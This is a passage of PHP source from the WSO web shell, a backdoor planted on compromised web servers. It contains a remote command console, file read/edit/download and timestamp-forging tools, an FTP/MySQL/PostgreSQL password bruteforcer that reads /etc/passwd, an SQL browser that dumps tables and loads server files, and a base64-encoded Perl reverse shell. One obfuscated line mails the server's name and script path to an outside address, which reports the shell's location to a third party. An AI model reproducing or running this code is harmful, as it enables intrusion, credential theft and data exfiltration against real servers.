if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"nrt\'")."';n";
echo strlen($temp), "n", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";

function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo "<a href='#' onclick='g("FilesTools",null,"".urlencode($item)."", "view","")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick="document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()"><br>
<input type='button' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
<input type='button' value='crackfor.me' onclick="document.hf.action='http://crackfor.me/index.php';document.hf.submit()"><br>
</form></div>";
wsoFooter();
}

function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,'' . urlencode($_POST['p1']) . '',''.strtolower($v).'')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can't set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn't writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can't rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}

function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';n";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("n$ ".$_POST['p1']."n".wsoEx($_POST['p1']),"nrt\'"));
if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "n", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}

echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."n".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}

function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}

function actionSelfRemove() {

if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
die('Shell removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,'yes')">Yes</a></div>';
wsoFooter();
}
$_QliO8="x6dai154";$_Qliot=$_SERVER["x53x45RVE122_x4eAMx45"].$_SERVER["123103x52Ix50x54_116101115E"];$_QlL1i="141r162a17140".$_Qliot;$_QlLio=array("143x61","x6cx69","146x77162151x74x65","100","vx65x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}

function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("n",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";n";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";nn";
}

$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES nt(".implode(", ", $item).')';
$head = false;
} else
$sql .= "nt,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";nn"); else echo(";nn");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."n";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can't open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value="". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) .""></td>
<td><input type=text name=sql_login value="". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) .""></td>
<td><input type=text name=sql_pass value="". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) .""></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick="st('".$value."',1)">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st("" . $_POST['p2'] . "", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
